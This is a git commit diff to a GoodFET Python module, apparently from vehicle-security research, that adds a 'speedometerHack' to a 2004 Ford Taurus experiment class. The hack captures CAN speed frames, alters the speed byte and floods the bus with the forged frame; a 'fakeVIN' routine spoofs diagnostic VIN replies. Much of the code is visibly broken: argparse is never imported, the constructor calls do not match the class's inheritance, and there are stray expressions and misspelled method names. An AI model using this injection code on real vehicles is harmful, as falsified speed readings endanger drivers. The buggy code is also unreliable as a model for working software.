polished speedometer hack method a bit, going to go test it now

[goodfet] / client / FordExperiments.py

diff --git a/client/FordExperiments.py b/client/FordExperiments.py
index 25a8618..e4b5f39 100644 (file)
--- a/client/FordExperiments.py
+++ b/client/FordExperiments.py
@@ -6,15 +6,19 @@ import datetime
 import os
 from random import randrange
 from GoodFETMCPCAN import GoodFETMCPCAN;
+from experiments import experiments
 from GoodFETMCPCANCommunication import GoodFETMCPCANCommunication
 from intelhex import IntelHex;
 import Queue
 import math
 
 tT = time
-class FordExperiments(GoodFETMCPCANCommunication, dataLocation):
-    
-    def __init__(self):
+class FordExperiments(experiments):
+    """
+    This class is a subclass of experiments and is a car specific module for 
+    demonstrating and testing hacks. 
+    """
+    def __init__(self, dataLocation = "../../contrib/ThayerData/"):
         GoodFETMCPCANCommunication.__init__(self, dataLocation)
         #super(FordExperiments,self).__init__(self) #initialize chip
         self.freq = 500;
@@ -207,7 +211,7 @@ class FordExperiments(GoodFETMCPCANCommunication, dataLocation):
         print packetCount;
         
         
-   def fakeVIN(self):
+    def fakeVIN(self):
        #reset eveything on the chip
        self.client.serInit() 
        self.reset()
@@ -215,7 +219,7 @@ class FordExperiments(GoodFETMCPCANCommunication, dataLocation):
        
        listenID = 2015
        listenPacket = [2, 9, 6, 153, 153, 153, 153, 153]
-       reponseID = 2024
+       responseID = 2024
        #actual response by the car
        #r1 = [34, 88, 0, 0, 0, 0, 0, 0]
        #r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
@@ -241,7 +245,7 @@ class FordExperiments(GoodFETMCPCANCommunication, dataLocation):
                   # lower nibble is DLC                   
                  r3[0],r3[1],r3[2],r3[3],r3[4],r3[5],r3[6],r3[7]]
 
-       self.multipacketSpit(packet0 = r1, packet1 = r2, packet2 = r3, packet0rts = True, packet1rts = True, packet2rts = True)
+       self.multiPacketSpit(packet0 = r1, packet1 = r2, packet2 = r3, packet0rts = True, packet1rts = True, packet2rts = True)
 
        #filter for the correct packet
        self.filterForPacket(listenID, listenPacket[0],listenPacket[1], verbose = True)
@@ -255,18 +259,81 @@ class FordExperiments(GoodFETMCPCANCommunication, dataLocation):
                if( sid == listenID):
                    byte3 = ord(packet[6])
                    if( byte3 == listenPacket[3]):
+                       print "SendingPackets!"
                        #send packets
                        self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True)
                        
-       
+    def speedometerHack(self, inputs):
+        
+        self.client.serInit()
+        self.spitSetup(500)
+
+        self.addFilter([513, 513, 513])
+        
+        SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
+        SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
+                
+        while(1):
+            
+            packet = None;
+
+            # catch a packet and check its db4 value
+            while (packet == None):
+                packet=self.client.rxpacket();
+                
+            print "DB4 = %d" %packet[9]
+            mph = 1.617*packet[9] - 63.5
+            print "Current MPH = 1.617(%d)-63.5 = %d" %(packet[9], mph)
+                
+            # calculate our new mph and db4 value
+            mph = mph + inputs[0];
+            packet[9] = ( mph + 63.5 ) / 1.617
+
+            # load new packet into TXB0 and check time
+            self.multiPacketSpit(packet0=packet, packet0rts=True)
+            starttime = time.time()
+            
+            # spit new value for 1 second
+            while (time.time()-starttime < 1):
+                self.multiPacketSpit(packet0rts=True)
+            
+
+
+            [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
+                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
+                      # lower nibble is DLC                   
+                      packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
+    
+    
+#        while((time.time()-starttime < duration)):
+#                    
+#                    if(faster):
+#                        packet=self.client.fastrxpacket();
+#                    else:
+
+
        
         
 if __name__ == "__main__":
-    fe = FordExperiments();
-    #packetData = {}
-    #packetData['db4'] = 4;
-    #runTime = 100;
-    #fe.mimic1056(packetData, runTime)
-    #fe.cycledb1_1056(runTime)
-    #fe.oscillateTemperature(runTime)
-    fe.fakeVIN()
\ No newline at end of file
+    
+    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\
+
+    Run Hacks on a Ford taurus 2004:
+        
+            speedometerHack
+            fakeVIN
+        ''')
+    parser.add_argument('verb', choices=['speedometerHack']);
+    parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None);
+
+
+    args = parser.parse_args();
+    inputs = args.variable
+    fe = FordExperiments("../../contrib/ThayerData/");
+    
+    if( args.verb == 'speedometerHack'):
+        fe.speedometerHack(inputs=inputs)
+    elif( args.verb == 'fakeVIN'):
+        fe.fakeVIN()
+        
+